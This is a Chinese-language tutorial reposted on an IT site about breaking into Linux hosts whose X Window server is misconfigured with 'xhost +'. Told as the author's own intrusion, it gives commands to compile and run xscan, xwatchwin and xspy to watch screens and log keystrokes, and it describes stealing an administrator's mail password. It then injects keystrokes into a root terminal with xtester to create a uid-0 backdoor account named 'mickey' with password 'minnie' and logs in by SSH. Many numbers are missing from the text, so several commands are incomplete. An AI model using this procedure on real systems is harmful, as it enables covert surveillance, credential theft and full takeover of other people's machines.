linux

位置:IT落伍者 >> linux >> 浏览文章

利用X-window配置错误入侵Linux


发布日期:2019年04月18日
 
利用X-window配置错误入侵Linux

常见的漏洞分为软件漏洞和配置漏洞软件漏洞的挖掘需要扎实的编程功底和对操作系统原理的深入理解

配置漏洞通常是由于管理员的自身知识的不足造成的在 Linux 环境下X Window 是用来显示图形界面应用程序的底层系统X Window 服务的认证通常分为 xhost 和 xauth 认证xhost 认证的配置方法比较简便只需在 xhost 命令后使用+或选项来分别表示允许或拒绝某个主机访问本地的 X Window 服务就可以了比如:xhost +就表示允许IP 地址为 的机器访问本地的X Window 服务 Xhost 则表示禁止 IP 地址为 的机器访问本地的 X Window 服务可是如果当管理员配置不当配置成xhost +这样的通配符方式后就表示允许任意 IP 地址的主机来访问本地的 X Window 服务这样的配置是很危险的远程攻击者可以利用管理员的这个配置漏洞结合其他的系统服务轻易的拿到主

机的最高权限

查点

先来对目标机器进行端口扫描了解开放的服务在 Linux 环境下我选择的 Nmap 这个扫描之王扫描结果如图 所示:

通过 Nmap 返回的扫描结果可以得知主机开放了 SSH 服务( 端口)X Window 服务( 端口)此时的入侵思路有 一是通过对 SSH 服务的暴力破解得到主机访问权限或者如果主机的 SSH 服务采用的版本为 V也可以使用 Cain 或 Ettercap 工具对其进行嗅探攻击从而得到明文连接密码二是看看 X Window服务配置是否正确如果管理员配置不当那我们的入侵就简单多了

xscan 是一款在评估 X Window 服务时最常用的一款扫描工具该工具可以快速识别一个网段或一台主机的 X window 服务当采用 xhost 认证方法时激活了+通配符(xhost +)这种配置错误的主机Linux 下的许多工具都是采用源码形式发布的所以我们首先需要编译下命令如下

tar zxf xscantargz

gcc xscanc snoopc o xscan L/usr/XR/lib lX

xscan 的使用非常简单在 xscan 后输入要扫描的独立 IP 地址或 IP 网段就可以了命令如下:

/xscan

效果如图 所示:

通过 xscan 的扫描结果可以看到该工具已经连接到了主机 的 X window 服务并开始捕获 这台主机的击键信息并把记录保存到 KEYLOG: 文件中

入侵

从上面对主机的查点得知了 这台主机 X window 服务的 xhost 认证配置不当我们可以使用 xwininfo 这款工具实时的监控 主机的屏幕了解目标主机的一举一动xwatchwin 也是采用源码的形式发布的编译命令如下:

tar zxf xwatchwintarZ

cc O xwatchwinc o xwatchwin L/usr/XR/lib lX

当使用 xwatchwin 时需要本地的 Linux 平台已经进入图形界面了否则该工具无法成功使用工具的使用命令如下:

/xwatchwin root

输入完上面的命令的后就会弹出一个窗口我们就可以实时的监视 这台主机的一举一动了效果如图 所示:

如果只想知道目标主机的击键情况 也为了节省带宽 又或者当目标主机的管理员键入的密码被显示为*号字符(登录邮箱论坛)时可以使用 xspy 这款工具实时的记录目标主机的键盘记录

从而得到敏感的信息方便我们进一步入侵在编译 xspy 的时候如果你的 Linux 主机已经包括了 usleep 函数需要修改下Imakefile 文件把其中的 usleepc 和 usleepo 删除这样才能正常的编译如图 :

编译命令为:

xmkmf;make

使用方法为:

/xspy display :

这时你就可以看到目标主机的管理员的键盘记录信息了如图 :

通过对 这台主机的实时监视过程中我发现管理员大部分时间只是上网沖浪配合 xspy 的键盘记录我得到了管理员的邮箱密码但是当尝试使用 SSH 登录的时候帐号并不正确又等了好久发现管理员打开了一个终端命令行正在配置 Apache 的相关信息我们的机会来了可以通过 Xtester 这款工具直接发送添加管理员的命令到目标主机的终端命令行窗口然后再登录 SSH

编译 Xtesterc 的时候程序作者并没有把C 文件的相关头文件包含进代码中 所以需要我们手动添加下如图 :

xtester 的编译命令如下:

gcc xtesterco xtester lXtst lX L/usr/XR/lib

使用 Xtester 前需要知道终端命令行窗口的十六进制的 ID 值可以使用 Linux 系统自带的 xwininfo 得到

命令如下:

xwininfo tree root display |grep i konsole

通过 grep 过滤出目标主机的终端命令行(konsole)窗口的 ID 值为 xe就可以使用 Xtester 来发送我们的击键到这个窗口了命令如下:

/xtester xe :

输入完上述命令后会弹出一个小窗口此时就可以输入添加管理员的命令了现在的输入是没有回显的所以要仔细输入我的经验是输入每次命令前和命令后多按几次回车可以增加成功率Linux 下添加系统管理员的命令如下:

useradd g u o mickey

echo mickey:minnie |chpasswd

这两条命令的意思为添加一个具有 root 权限的用户名为 mickey密码为 minnie 的系统帐号效果如图 :

现在就可以使用 SSH 登录了命令如下:

ssh l mickey T

效果如图 所示:

至此我们就轻易的得到了目标主机的最高权限了接下来安装 rootkit 的工作我就不做了:)

结束语

可以看出 Linux 下的入侵对我等小菜来说主要难点还是编译利用代码 我在编译代码的时候经常出现错误不是找不到相关的库文件路径就是程序本身的代码缺少头文件或分号语句结束

这时候可以去 Google下得到相关的帮助我也是刚学 Linux如果有错误的地方还请各位高手斧正

上一篇:nginx中unix:/tmp/php-cgi.sock错误解决解决

下一篇:Linux网络性能调试工具Tcpdump命令篇